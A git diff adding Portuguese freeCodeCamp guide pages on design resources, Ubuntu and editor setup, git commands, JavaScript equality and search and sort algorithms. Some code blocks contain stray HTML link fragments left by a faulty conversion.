diff --git a/client/src/guide/portuguese/miscellaneous/design-resources-for-front-end-developers/index.md b/client/src/guide/portuguese/miscellaneous/design-resources-for-front-end-developers/index.md
new file mode 100644
index 0000000000..bdca79f61f
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/design-resources-for-front-end-developers/index.md
@@ -0,0 +1,65 @@
+---
+title: Design Resources for Front End Developers
+localeTitle: Recursos de design para desenvolvedores de front-end
+---
+Você é um desenvolvedor web freelancer ou está pensando em se tornar um? Talvez você tenha participado de um bootcamp de codificação ou tenha se formado em um curso de desenvolvimento de front-end online. O que acontece depois?
+
+Você recebe seu primeiro cliente. Pode ser apenas um amigo que precisa de um site pessoal. Não importa. Você não quer que pareça amador. Você quer que pareça bom. Você quer que pareça profissional.
+
+Aqui está a coisa…
+
+Um bom design pode significar a diferença entre um site que parece "caseiro" e um que parece profissional. Se você vai ganhar dinheiro com o desenvolvimento web freelance, não pode se dar ao luxo de criar sites que não apresentem bons princípios de design. A maioria das pessoas (ou seja, potenciais clientes) sabe o que é um bom design, mesmo que eles não possam dizer por que é um bom design. Portanto, vale a pena ter uma compreensão dos conceitos básicos de design. Na verdade, eu diria que é absolutamente necessário que você tenha uma carreira de sucesso como desenvolvedor front-end freelancer.
+
+Então, por onde você começa? Onde você vai aprender sobre design? Felizmente, você não precisa pagar para aprender os fundamentos básicos do design. Existem muitos recursos por aí que são 100% gratuitos. Aqui estão 10 recursos (a maioria deles gratuitos) que o ajudarão a ser um melhor desenvolvedor front-end freelancer porque eles o ajudarão a ser um designer melhor. Diverta-se!
+
+## 1\. [Hackdesign.org](https://hackdesign.org)
+
+Vamos começar com o básico. Se você deseja produzir um trabalho de front-end atraente e com aparência profissional, é absolutamente necessário aprender os fundamentos do design. Deixe-me dizer isso mais uma vez. Você precisa aprender o básico do design. Sim, isso é importante. Acredite em mim. Vai ajudá-lo a se destacar de todos os desenvolvedores front-end freelancers que não estão aprendendo e isso significa que você terá mais trabalho. Mais trabalho significa mais dinheiro. Veja o que eu quero dizer? É importante.
+
+Percorra as lições da Hackdesign do início ao fim e deixe tudo entrar. Se você quiser, pode inscrever-se para as lições semanais enviadas para o seu endereço de e-mail. No entanto, você não precisa fazer isso. Você pode simplesmente clicar em "ver todas as lições" e começar a trabalhar do seu jeito. É bastante profundo. Não é algo que você vai fazer em algumas horas. Passe algum tempo sério aqui neste recurso.
+
+## 2\. [Design para Hackers](http://designforhackers.com)
+
+A razão de David Kadavy para escrever o livro está bem resumida nesta citação:
+
+> "Podemos criar folhetos, cartões postais e apresentações em PowerPoint completas com animações. Podemos criar blogs, cartazes e até mesmo canecas de café ... Mas poucos de nós são experientes em design."
+
+O mesmo vale para a criação de sites. Só porque você pode criar um site que funcione não significa que você pode criar um site bonito e bem projetado que funcione. Isso não significa que você pode criar um site que pareça profissional. Tenho certeza que você sabe o que quero dizer. Bom design parece profissional. Período. Então, leia este livro. Kadavy também tem um site na designforhackers.com onde você pode se inscrever para um curso baseado em e-mail chamado "Design Pitfalls".
+
+## 3\. [UX Crash Course: 31 Fundamentos](http://thehipperelement.com/post/75476711614/ux-crash-course-31-fundamentals)
+
+Lembre-se, você é um freelancer e isso significa que você está usando muitos chapéus. Apenas saber como codificar não o cortará se você quiser ser um grande freelancer que esteja em alta demanda.
+
+Este curso intensivo de Joel Marsh é ótimo para aprender os fundamentos da UX. Ele diz: "A lista a seguir não é tudo que você pode aprender em UX. É uma visão geral rápida, então você pode ir de zero a herói o mais rápido possível." O que você está esperando? Iniciar!
+
+## 4\. [UX Crash Course: User Psychology](http://thehipperelement.com/post/87574750438/ux-crash-course-user-psychology)
+
+A segunda parte do fantástico curso de UX Crash de Joel Marsh: 31 Fundamentos. Ele resume porque isso é importante:
+
+> "… Quanto mais você entende os sentimentos, pensamentos e ações de seus usuários, melhor você é o designer."
+
+Você quer ser um grande desenvolvedor e um grande designer, certo? Se você não tivesse, não teria lido até aqui. Bem, como você vai ser um ótimo, ou até mesmo um bom designer, se você não sabe nada sobre seus usuários? Você tem que pensar sobre esses usuários. Eles são importantes porque você está construindo sites que as pessoas vão usar. Seja gentil com eles. Aprenda algo sobre psicologia do usuário.
+
+## 5\. [paleta de materiais](https://www.materialpalette.com/)
+
+Uma paleta de cores atraente por si só pode ajudar muito a tornar o design profissional. Então, se você já passou pelo design básico que mencionei acima, mas ainda não tem certeza sobre como aplicar a teoria das cores, marque este site agora e comece a usá-lo. Basta clicar em duas cores e, como mágica, aparece uma linda paleta de cores. Outros bons sites para paletas de cores são [**flatuicolors**](http://www.flatuicolors.com) e [**resfriadores**](http://www.coolors.co) .
+
+## 6\. [Noções básicas de Adode Photoshop](https://helpx.adobe.com/photoshop/tutorials.html)
+
+Você precisará pelo menos ter um controle sobre o básico do Photoshop para trabalhar com fotos e criar gráficos prontos para a web. Navegue pelos tutoriais do Adobe Photoshop CC gratuitamente no site da Adobe. Eles são muito bem feitos, cobrem o básico e serão suficientes para você começar!
+
+## 7\. [Noções básicas do Adobe Illustrator](https://helpx.adobe.com/illustrator/tutorials.html)
+
+Você pode estar pensando que desde que você não é um artista gráfico, não há necessidade de saber como usar o Adobe Illustrator. Errado! Claro, talvez você não crie sua própria arte do zero. No entanto, e se você quiser usar a arte vetorial de outra pessoa? Digamos que você tenha encontrado uma imagem vetorial linda na iStock que deseja usar. No entanto, a cor está errada ou você gostaria de excluir parte da imagem. Sem problemas. Aprenda os conceitos básicos do Illustrator e conclua o trabalho rapidamente!
+
+## 8\. [Elementos do Estilo Tipográfico Aplicados à Web](http://webtypography.net)
+
+A tipografia pode parecer um pouco chata, mas é importante. Mesmo se você não comprometer todas as informações apresentadas aqui para a memória apenas sabendo que em um mundo de design perfeito este material importa ajudará a aumentar sua consciência. Leia um pouco de cada vez. Eu gosto deste site porque a informação é apresentada em pequenos detalhes facilmente digeríveis. Por exemplo, confira este minuto lendo em [**letras espaçadas**](http://webtypography.net/2.1.7)
+
+## 9\. [_Não me faça pensar_ por Steve Krug](http://www.amazon.com/Dont-Make-Me-Think-Usability/dp/0321344758)
+
+Você está construindo sites que pessoas reais vão usar. Você não quer que seus sites complicem a vida e frustrem as pessoas. Você quer que seus sites tornem sua vida mais fácil. Ok, bem, você vai precisar saber algo sobre usabilidade na web e este é o livro clássico sobre usabilidade na web. Jeffrey Zeldman, fundador da revista [**A List Apart**](http://alistapart.com/) , diz que "se você criar, escrever, programar, possuir ou gerenciar sites, você deve ler este livro". Bem dito. Leia este livro.
+
+## 10\. [_O Desafio da Criatividade_ de Tanner Christensen](http://www.amazon.com/Creativity-Challenge-Experiment-Innovate-Inspire/dp/1440588333)
+
+Finalmente, se você é um desenvolvedor web freelancer usando uma variedade de chapéus, você terá que manter sua criatividade na melhor forma e isso significa exercitá-la. Este livro contém 150 divertidos desafios que visam fazer você pensar fora da caixa e ver as coisas de um ângulo diferente. A introdução do livro resume bem: "Sempre que você se sentir preso ou sem inspiração, simplesmente vá para uma página aleatória e siga as instruções para completar o desafio criativo que encontrar lá."
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/develop-back-end-projects-locally-and-run-on-c9/index.md b/client/src/guide/portuguese/miscellaneous/develop-back-end-projects-locally-and-run-on-c9/index.md
new file mode 100644
index 0000000000..b29aab3f39
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/develop-back-end-projects-locally-and-run-on-c9/index.md
@@ -0,0 +1,15 @@
+---
+title: Develop Back End Projects Locally and Run on C9
+localeTitle: Desenvolva projetos de back-end localmente e execute em C9
+---
+Se, como eu, você desenvolver o Back End Project localmente e quiser que ele seja executado no c9, isso pode ajudá-lo.
+
+1.  Empurre seu projeto para o github
+2.  Crie uma nova área de trabalho em c9 e defina "Clonar da URL do Git ou Mercurial (opcional)" com o URL do repositório do github. Depois de enviar sua página de criação, o c9 irá clonar seu projeto para você.
+3.  Executar na sua janela do terminal c9
+
+`bash echo "export NODE_PATH=$NODE_PATH:/home/ubuntu/.nvm/v0.10.35/lib/node_modules" >> ~/.bashrc && source ~/.bashrc`
+
+1.  Executar `bower install && sudo npm install`
+2.  Executar `mkdir data && echo 'mongod --bind_ip=$IP --dbpath=data --nojournal --rest "$@"' > mongod && chmod a+x mongod && ./mongod`
+3.  Execute o `grunt serve` em outra janela de terminal
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/disable-code-auto-run-on-free-code-camp/index.md b/client/src/guide/portuguese/miscellaneous/disable-code-auto-run-on-free-code-camp/index.md
new file mode 100644
index 0000000000..d7be4790da
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/disable-code-auto-run-on-free-code-camp/index.md
@@ -0,0 +1,11 @@
+---
+title: Disable Code Auto Run on Free Code Camp
+localeTitle: Desativar Auto Execução de Código no Acampamento de Código Gratuito
+---
+Por padrão, o site Free Code Camp carrega e executa automaticamente sua última solução gravada. Se você criou acidentalmente um loop infinito ou outro erro irrecuperável ou simplesmente não confia no código, é possível desativar a execução automática de código, colocando o seguinte no seu URL: `run=disabled`
+
+## Exemplo:
+
+URL: `http://www.freecodecamp.com/challenges/Algorithm-meet-Algorithm#?solution=function%20meetBonfire(argument)`
+
+URL sem execução: `http://www.freecodecamp.com/challenges/Algorithm-meet-Algorithm#?run=disabled&solution=function%20meetBonfire(argument)`
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/discard-unstaged-changes-in-git/index.md b/client/src/guide/portuguese/miscellaneous/discard-unstaged-changes-in-git/index.md
new file mode 100644
index 0000000000..4a87793319
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/discard-unstaged-changes-in-git/index.md
@@ -0,0 +1,15 @@
+---
+title: Discard Unstaged Changes in Git
+localeTitle: Descartar as alterações não organizadas no Git
+---
+Ao usar o Git, é comum fazer alterações que você deseja remover completamente antes da fase de preparação. Por exemplo, depois de trabalhar em alguns arquivos, você percebe que deseja reverter as alterações feitas em um arquivo específico. Para descartar as alterações antes de preparar e confirmar, use o comando `$ git checkout` .
+
+## Para desassociar um arquivo:
+
+`$ git checkout <path-to-file>`
+
+_Lembre-se de substituir `<path-to-file>` pelo nome real do arquivo._
+
+## Para desassociar todos os arquivos:
+
+`$ git checkout -- .`
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/dont-just-say-rtfm/index.md b/client/src/guide/portuguese/miscellaneous/dont-just-say-rtfm/index.md
new file mode 100644
index 0000000000..afd3595f18
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/dont-just-say-rtfm/index.md
@@ -0,0 +1,29 @@
+---
+title: Don't Just Say Rtfm
+localeTitle: Não diga apenas Rtfm
+---
+## Não diga apenas Rtfm
+
+Comentários RTFM geralmente inúteis
+
+> Se todo mundo ler o manual, a maioria das perguntas feitas na internet desaparecerá!
+
+[RTFM](http://meta.stackexchange.com/a/167765)
+
+**"RTFM"** é **rude** , sem dúvida. No entanto, os **links para o manual nos comentários são perfeitamente aceitáveis** e, às vezes, a única resposta apropriada a uma pergunta.
+
+Pode acontecer que a pessoa que está lendo o produto ou algo relacionado ao artigo não tenha encontrado o manual e digamos RTFM, isso pode ser ruim para ele e pode ferir seus sentimentos. Além disso, é melhor "Be Nice" e usar palavras "educadas" para fazê-lo ler e entender o sistema manual.
+
+Então, quando postar um link manual, seja esperto. **Solte o RTFM e use palavras mais agradáveis** para que o link sobreviva. Sugestões:
+
+*   Confira a página do manual: (link)
+*   Veja o manual: (link)
+*   Isso é explicado no manual: (link)
+
+Se o OP foi realmente preguiçoso:
+
+*   Sua pergunta é respondida no manual: (link) Para referência futura, lembre-se sempre de procurar primeiro no manual. Obrigado!
+
+E a pessoa não olhou no manual então:
+
+*   Você pode fazer sua pergunta no menu Contato (link).
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/download-and-install-ubuntu-desktop/index.md b/client/src/guide/portuguese/miscellaneous/download-and-install-ubuntu-desktop/index.md
new file mode 100644
index 0000000000..cdcbee01b1
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/download-and-install-ubuntu-desktop/index.md
@@ -0,0 +1,15 @@
+---
+title: Download and Install Ubuntu Desktop
+localeTitle: Baixe e instale o Ubuntu Desktop
+---
+Um rápido tutorial mostrando como instalar o Ubuntu.
+
+## Passos:
+
+Você pode baixar a última versão do Ubuntu Desktop [aqui](http://www.ubuntu.com/download/desktop) .  
+Se você precisar de alguma ajuda com a instalação do sistema operacional, [este](http://www.ubuntu.com/download/desktop/install-ubuntu-desktop) tutorial do Ubuntu irá ajudá-lo. Se você quiser dual boot seu computador com o Windows e Ubuntu checkout [este](https://help.ubuntu.com/community/WindowsDualBoot) artigo útil.
+
+Uma vez instalado o Ubuntu, abra o terminal e digite `sudo apt update && sudo apt upgrade` para atualizar seus pacotes.
+
+![:point_left:](//forum.freecodecamp.com/images/emoji/emoji_one/point_left.png?v=2 ": point_left:") Anterior | ![:book:](//forum.freecodecamp.com/images/emoji/emoji_one/book.png?v=2 ":livro:") Casa ![:book:](//forum.freecodecamp.com/images/emoji/emoji_one/book.png?v=2 ":livro:") | Próximo ![:point_right:](//forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=2 ": point_right:")  
+[**Alternativas ao popular software Windows e Mac**](//forum.freecodecamp.com/t/alternatives-to-popular-windows-and-mac-software/18387) | [**Índice**](//forum.freecodecamp.com/t/setting-up-ubuntu-for-programming/18388) | [**Personalizando o Ubuntu**](//forum.freecodecamp.com/t/customizing-ubuntu/18382)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/downloading-text-editors-and-ides/index.md b/client/src/guide/portuguese/miscellaneous/downloading-text-editors-and-ides/index.md
new file mode 100644
index 0000000000..7aa5b9e8fb
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/downloading-text-editors-and-ides/index.md
@@ -0,0 +1,70 @@
+---
+title: Downloading Text Editors and Ides
+localeTitle: Baixando Editores de Texto e Ides
+---
+Discutimos editores de texto e IDEs populares e como instalá-los no Ubuntu.
+
+## Escolhas populares:
+
+### Editores de texto
+
+**Instalando o Atom:**
+```
+sudo add-apt-repository ppa:webupd8team/atom 
+ sudo apt-get update 
+ sudo apt-get install atom 
+```
+
+**Instalando o texto sublime 3:**
+```
+sudo add-apt-repository ppa:webupd8team/sublime-text-3 
+ sudo apt-get update 
+ sudo apt-get install sublime-text-installer 
+```
+
+**Instalando o código do Visual Studio:**
+
+Baixe o pacote mais recente do Visual Studio Coder: [Visual Studio](https://code.visualstudio.com/Docs/?dv=linux64_deb)
+```
+sudo dpkg -i vscode-amd64.deb 
+```
+
+### IDEs
+
+**Instalando o Eclipse:**
+```
+sudo apt-get install openjdk-7-jdk 
+```
+
+Faça o download do pacote mais recente do Eclipse: [Eclipse](http://www.eclipse.org/downloads/?osType=linux)
+```
+sudo mv eclipse-inst-linux64.tar.gz /opt/ && cd /opt 
+ sudo tar -xvf eclipse-inst-linux64.tar.gz 
+```
+
+Crie um novo arquivo chamado `eclipse.desktop` no `/usr/share/applications/` e adicione as linhas abaixo:
+```
+<a href='https://www.jetbrains.com/idea/download' target='_blank' rel='nofollow'>Desktop Entry] 
+ Name=Eclipse 
+ Type=Application 
+ Exec=/opt/eclipse/eclipse 
+ Terminal=false 
+ Icon=/opt/eclipse/icon.xpm 
+ Comment=Integrated Development Environment 
+ NoDisplay=false 
+ Categories=Development;IDE 
+ Name[en]=eclipse.desktop 
+```
+
+Agora você pode arrastar esse arquivo para o ativador, permitindo iniciar o Eclipse.
+
+**Instalando o Intellij IDEA:**
+
+Faça o download da versão mais recente do \[ **Intellij IDEA**
+```
+sudo mv idea-2016.1.1.tar.gz /opt/ && cd /opt 
+ sudo tar -xvf idea-2016.1.1.tar.gz 
+```
+
+![:point_left:](//forum.freecodecamp.com/images/emoji/emoji_one/point_left.png?v=2 ": point_left:") Anterior | ![:book:](//forum.freecodecamp.com/images/emoji/emoji_one/book.png?v=2 ":livro:") Casa ![:book:](//forum.freecodecamp.com/images/emoji/emoji_one/book.png?v=2 ":livro:") | Próximo ![:point_right:](//forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=2 ": point_right:")  
+[**Instalando DevTools e navegadores da web modernos**](//forum.freecodecamp.com/t/installing-devtools-and-modern-web-browsers/18385) | [**Índice**](//forum.freecodecamp.com/t/setting-up-ubuntu-for-programming/18388) | [**Alternativas para o popular software Windows e Mac**](//forum.freecodecamp.com/t/alternatives-to-popular-windows-and-mac-software/18387)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/dynamic-urls-using-routeparams-in-angular/index.md b/client/src/guide/portuguese/miscellaneous/dynamic-urls-using-routeparams-in-angular/index.md
new file mode 100644
index 0000000000..cb9cc08898
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/dynamic-urls-using-routeparams-in-angular/index.md
@@ -0,0 +1,32 @@
+---
+title: Dynamic Urls Using Routeparams in Angular
+localeTitle: URLs dinâmicos usando o Routeparams em Angular
+---
+E se você tiver muitos usuários postando _coisas_ no seu site? Talvez seus usuários desejem ter um perfil ou um mural das _coisas_ que postaram e queiram compartilhá-lo com os amigos com um URL? Você pode fazer isso, não é nada demais!
+
+Digamos que você usou
+```
+>> yo angular-fullstack:route wall 
+```
+
+para gerar uma rota http://myapp.wherever.com/wall/ para seus usuários. Você quer um link para http://myapp.wherever.com/wall/someUsername para mostrar as _coisas de_ um usuário específico.  
+Navegue para **/client/app/wall/wall.js** e observe que ele detecta qual URL o usuário está solicitando antes de agir sobre ele:
+```
+$routeProvider.when('/wall', … 
+```
+
+Você pode personalizar esse caminho para capturar quando um usuário está tentando ver um perfil associado a um nome de usuário específico da seguinte forma:
+```
+$routeProvider.when('/wall/:username', … 
+```
+
+Os dois pontos antes de "username" indicam que esta é uma variável, que é então passada para o módulo _$ routeParams_ . Em **wall.controller.js** , inclua _$ routeParams_ :
+```
+.controller('WallCtrl', function ($scope, $routeParams) { … 
+```
+
+Então, mais tarde, em **wall.controller.js** , você pode ver qual nome de usuário foi solicitado na URL, referindo-se à variável gerada pelo _$ routeProvider_ usando algo como
+```
+var wallOwner = $routeParams.username; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/edit-or-delete-gitter-messages/index.md b/client/src/guide/portuguese/miscellaneous/edit-or-delete-gitter-messages/index.md
new file mode 100644
index 0000000000..1ab8fd419a
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/edit-or-delete-gitter-messages/index.md
@@ -0,0 +1,7 @@
+---
+title: Edit or Delete Gitter Messages
+localeTitle: Editar ou excluir mensagens do Gitter
+---
+> Edição ou exclusão de uma mensagem anterior em 10 minutos. de postar
+
+![Como deletar mensagem](//discourse-user-assets.s3.amazonaws.com/original/2X/9/91c9019fe7b7caee535f7e20678051f7fac687f5.gif)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/embed-youtube-videos-on-gitter/index.md b/client/src/guide/portuguese/miscellaneous/embed-youtube-videos-on-gitter/index.md
new file mode 100644
index 0000000000..6f9931ad57
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/embed-youtube-videos-on-gitter/index.md
@@ -0,0 +1,7 @@
+---
+title: Embed Youtube Videos on Gitter
+localeTitle: Incorporar vídeos do YouTube no Gitter
+---
+Você pode adicionar vídeos em linha ao wiki com apenas um link do google. Dentro do chatwiki isso aparecerá como um vídeo incorporado.
+
+[https://www.youtube.com/watch?v=BMUiFMZr7vk](https://www.youtube.com/watch?v=BMUiFMZr7vk)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/emojis-for-gitter-and-github/index.md b/client/src/guide/portuguese/miscellaneous/emojis-for-gitter-and-github/index.md
new file mode 100644
index 0000000000..1a49482969
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/emojis-for-gitter-and-github/index.md
@@ -0,0 +1,5 @@
+---
+title: Emojis for Gitter and Github
+localeTitle: Emojis para Gitter e Github
+---
+O Gitter IM e o GitHub suportam uma variedade de emojis legais (emoticons). De `:sunny:` ![:sunny:](//forum.freecodecamp.com/images/emoji/emoji_one/sunny.png?v=2 ":ensolarado:") para `:poop:` ![:poop:](//forum.freecodecamp.com/images/emoji/emoji_one/poop.png?v=2 ":cocô:") você pode expressar uma série de emoções!
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/equality-vs-identity-operator/index.md b/client/src/guide/portuguese/miscellaneous/equality-vs-identity-operator/index.md
new file mode 100644
index 0000000000..e9741afe57
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/equality-vs-identity-operator/index.md
@@ -0,0 +1,52 @@
+---
+title: Equality Vs Identity Operator
+localeTitle: Equality Vs Identity Operator
+---
+No JavaScript, existem 2 operadores que podem ser usados ​​para comparar dois valores: _\==_ e _\===_ . Eles parecem ser exatamente iguais, mas funcionam de forma diferente e, em alguns casos, dão resultados diferentes.
+
+## Operador de capital
+
+O operador de igualdade (==) compara dois valores após todas as conversões de tipo necessárias. Vamos dar uma olhada em alguns exemplos:
+```
+0 == ''             // -> true 
+ false == 'false'    // -> false 
+```
+
+No primeiro exemplo, tanto 0 quanto '' (string vazia) sofrem conversão automática. Ambos são convertidos em falsas doações:
+```
+false == false 
+```
+
+O que é obviamente _verdade_ . No segundo exemplo _'false'_ , uma String não vazia é avaliada como true, tornando toda a expressão falsa.
+
+## Operador de identidade
+
+Em comparação, o operador de identidade (===) retornará verdadeiro se e somente se ambos os valores que estão sendo comparados forem do mesmo tipo e tiverem o mesmo valor. Se tentarmos comparar valores de dois tipos diferentes, ele sempre retornará _falso_ .
+```
+false === 0            // -> false 
+ 0 === ''              // -> false 
+ 5 === 5                  // -> true 
+```
+
+Para ser preciso, === verifica se duas variáveis ​​referenciam o mesmo objeto, ou no caso de tipos de valor (como _int_ , _double_ , _String_ , _bool_ , etc.) se ambos tiverem o mesmo valor.
+```
+var array1 = [ 5, 6, 7 ]; 
+ var array2 = [ 5, 6, 7 ]; 
+ var array3 = array2; 
+ 
+ array1 === array2      // -> false 
+ array1 == array2      // -> false 
+ 
+ array2 === array3      // -> true 
+ array2 == array3      // -> true 
+```
+
+Tanto _array1_ quanto _array2_ têm o mesmo tipo e são iguais, mas _array1 de_ comparação _\=== array2_ retorna false, pois se referem a objetos diferentes. _array2 === array3_ retorna verdadeiro como as duas variáveis ​​se referem ao mesmo objeto.
+
+## Qual operadora devo usar?
+
+É importante entender a diferença entre _\==_ e _\===,_ mas qual operador deve ser usado?
+
+Ao usar o operador _\==_ , o JavaScript realizará todas as conversões necessárias para comparar dois valores. Parece ser muito conveniente, mas os efeitos dessa conversão podem ser confusos e causar muito dificuldade em rastrear bugs.
+
+Douglas Crockford, autor do livro _JavaScript: The Good Parts_ sugere que _\===_ deve ser usado em todos os lugares, ao invés do operador _\==_ para evitar possíveis erros. Na maioria dos casos, você deve seguir este conselho, a menos que queira especificamente aproveitar a conversão de tipo automática.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/find-the-culprit-with-git-blame/index.md b/client/src/guide/portuguese/miscellaneous/find-the-culprit-with-git-blame/index.md
new file mode 100644
index 0000000000..5ae84af8ca
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/find-the-culprit-with-git-blame/index.md
@@ -0,0 +1,13 @@
+---
+title: Find the Culprit with Git Blame
+localeTitle: Encontre o Culpado com Git Blame
+---
+Mostra qual revisão e autor modificou pela última vez cada linha de um arquivo e os culpou.
+
+![:point_right:](//forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=2 ": point_right:")![:no_good:](//forum.freecodecamp.com/images/emoji/emoji_one/no_good.png?v=2 ":nada de bom:") - ![:see_no_evil:](//forum.freecodecamp.com/images/emoji/emoji_one/see_no_evil.png?v=2 ": see_no_evil:")![:hear_no_evil:](//forum.freecodecamp.com/images/emoji/emoji_one/hear_no_evil.png?v=2 ":não escute o mal:")![:speak_no_evil:](//forum.freecodecamp.com/images/emoji/emoji_one/speak_no_evil.png?v=2 ": speak_no_evil:")
+
+![](//discourse-user-assets.s3.amazonaws.com/original/2X/d/d8cb932324ede4b8c534c150056b81759fac5804.png)
+
+**Referência:** [https://git-scm.com/docs/git-blame](https://git-scm.com/docs/git-blame)
+
+![](//discourse-user-assets.s3.amazonaws.com/original/2X/2/24c2d8e7e137c454cd182222b6a38054a09c6889.png)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/fixing-exportsupdate-in-angular/index.md b/client/src/guide/portuguese/miscellaneous/fixing-exportsupdate-in-angular/index.md
new file mode 100644
index 0000000000..cf37c36b0f
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/fixing-exportsupdate-in-angular/index.md
@@ -0,0 +1,15 @@
+---
+title: Fixing Exportsupdate in Angular
+localeTitle: Fixing Exportsupdate in Angular
+---
+Como acontece, em **thing.controller.js** , assim como em quaisquer outros pontos de extremidade que você possa gerar, a função _exports.update_ que é chamada quando você faz uma chamada _$ http.put_ de seu frontend para modificar um objeto de banco de dados existente está quebrada . Esse é um [problema conhecido](https://github.com/DaftMonk/generator-angular-fullstack/issues/310) e pode ser corrigido alterando a seguinte linha:
+```
+// Updates an existing thing in the DB. 
+ exports.update = function(req, res) { 
+ ... 
+    var updated = _.extend(thing, req.body); 
+    // change _.merge to _.extend 
+ ... 
+ }; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/freecodecamp-algorithm-binary-search-guide/index.md b/client/src/guide/portuguese/miscellaneous/freecodecamp-algorithm-binary-search-guide/index.md
new file mode 100644
index 0000000000..3723facfbc
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/freecodecamp-algorithm-binary-search-guide/index.md
@@ -0,0 +1,74 @@
+---
+title: Freecodecamp Algorithm Binary Search Guide
+localeTitle: Guia de Pesquisa Binária do Algoritmo Freecodecamp
+---
+Pesquisa binária é um algoritmo de busca que encontra a posição de um valor alvo dentro de uma matriz ordenada.
+
+## Exemplo
+
+![Pesquisa binária](//discourse-user-assets.s3.amazonaws.com/original/2X/3/3cb9e4cc59081e1b0a19b716dbcfb6df97ac2b52.png)
+
+A ilustração acima mostra o funcionamento do algoritmo de pesquisa binária em uma matriz classificada quando o valor alvo é **4** .
+
+## Algoritmo
+
+Pesquisa binária funciona em matrizes ordenadas. Uma pesquisa binária começa comparando o elemento do meio da matriz com o valor de destino. Se o valor de destino corresponder ao elemento do meio, sua posição na matriz será retornada. Se o valor de destino for menor ou maior que o elemento do meio, a pesquisa continuará a metade inferior ou superior da matriz, respectivamente, com um novo elemento do meio, eliminando a outra metade da consideração.
+
+O pseudocódigo do algoritmo de busca binária é o seguinte:
+```
+BinarySearch(A<a href='https://repl.it/CWZq/158' target='_blank' rel='nofollow'>0..N-1], value) { 
+  low = 0 
+  high = N - 1 
+  while (low <= high) { 
+    // invariants: value > A[i] for all i < low 
+                   value < A[i] for all i > high 
+    mid = (low + high) / 2 
+    if (A[mid] > value) 
+      high = mid - 1 
+    else if (A[mid] < value) 
+      low = mid + 1 
+    else 
+      return mid 
+  } 
+  return not_found // value would be inserted at index "low" 
+ } 
+```
+
+## Complexidade
+
+*   Desempenho pior caso: **O (log n)**
+*   Melhor desempenho do case: **O (1)**
+*   Desempenho médio do caso: **O (log n)**
+*   Pobre complexidade de espaço de caso: **O (1)** para iterativo; **O (log n)** para recursivo.
+
+## Implementação de C ++
+```
+int binarySearch(int arr[], int value, int left, int right) { 
+  int middle; 
+  while (left <= right) { 
+    middle = (left + right) / 2; 
+    if (arr[middle] == value) 
+      return middle; 
+    else if (arr[middle] > value) 
+      right = middle - 1; 
+    else 
+      left = middle + 1; 
+  } 
+  return -1; 
+ } 
+```
+
+: rocket: \[código de execução ## implementação de Python
+```
+def binary_search(l, value): 
+    low = 0 
+    high = len(l)-1 
+    while low <= high: 
+        mid = (low+high)//2 
+        if l<a href='https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":rocket:"' target='_blank' rel='nofollow'>mid] > value: high = mid-1 
+        elif l[mid] < value: low = mid+1 
+        else: return mid 
+    return -1 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/CWZi/2)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/freecodecamp-algorithm-bubble-sort-guide/index.md b/client/src/guide/portuguese/miscellaneous/freecodecamp-algorithm-bubble-sort-guide/index.md
new file mode 100644
index 0000000000..0c338c5275
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/freecodecamp-algorithm-bubble-sort-guide/index.md
@@ -0,0 +1,85 @@
+---
+title: Freecodecamp Algorithm Bubble Sort Guide
+localeTitle: Guia de classificação de bolhas do algoritmo Freecodecamp
+---
+A classificação de bolhas é um algoritmo de classificação simples. Este algoritmo de ordenação é um algoritmo baseado em comparação, no qual cada par de elementos adjacentes é  
+comparados e os elementos são trocados se não estiverem em ordem. Este algoritmo faz a classificação no local, ou seja, ele não cria uma nova matriz enquanto  
+realizando o processo de triagem.
+
+#### Exemplo
+
+[Animação do BubbleSort](http://www.sorting-algorithms.com/bubble-sort)
+```
+array = <a href='https://repl.it/CXif' target='_blank' rel='nofollow'>5, 1, 4, 2, 8] 
+ 
+ First Pass: 
+ ( 5 1 4 2 8 ) –> ( 1 5 4 2 8 ), Here, algorithm compares the first two elements, and swaps since 5 > 1. 
+ ( 1 5 4 2 8 ) –>  ( 1 4 5 2 8 ), Swap since 5 > 4 
+ ( 1 4 5 2 8 ) –>  ( 1 4 2 5 8 ), Swap since 5 > 2 
+ ( 1 4 2 5 8 ) –> ( 1 4 2 5 8 ), Now, since these elements are already in order (8 > 5), algorithm does not swap them. 
+ 
+ Second Pass: 
